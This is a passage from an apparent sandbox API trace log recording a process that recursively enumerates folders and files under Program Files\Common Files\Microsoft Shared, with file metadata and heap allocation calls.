ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.943] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.943] GetProcessHeap () returned 0x560000 [0217.943] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.943] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0217.944] GetProcessHeap () returned 0x560000 [0217.944] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.944] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.944] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.945] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.945] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.945] GetProcessHeap () returned 0x560000 [0217.945] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.945] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0217.945] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.945] GetProcessHeap () returned 0x560000 [0217.945] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0217.949] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0217.949] GetProcessHeap () returned 0x560000 [0217.949] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0217.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.952] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.952] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0217.952] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0217.952] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.952] GetProcessHeap () returned 0x560000 [0217.952] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0217.953] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0217.953] GetProcessHeap () returned 0x560000 [0217.953] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0217.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.953] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.953] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0217.954] GetProcessHeap () returned 0x560000 [0217.954] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.955] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.955] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0217.956] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0217.956] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.956] GetProcessHeap () returned 0x560000 [0217.956] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.956] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0217.957] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0217.957] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.957] GetProcessHeap () returned 0x560000 [0217.957] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0217.957] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0217.957] GetProcessHeap () returned 0x560000 [0217.957] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0217.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0218.343] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.344] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0218.344] GetProcessHeap () returned 0x560000 [0218.345] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0218.345] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0218.347] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.347] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0218.347] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0218.348] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0218.348] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0218.349] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0218.349] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0218.349] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0218.349] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0218.350] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0218.350] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0218.350] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0218.351] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0218.352] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0218.352] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0218.352] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0218.354] GetProcessHeap () returned 0x560000 [0218.355] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0218.355] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, 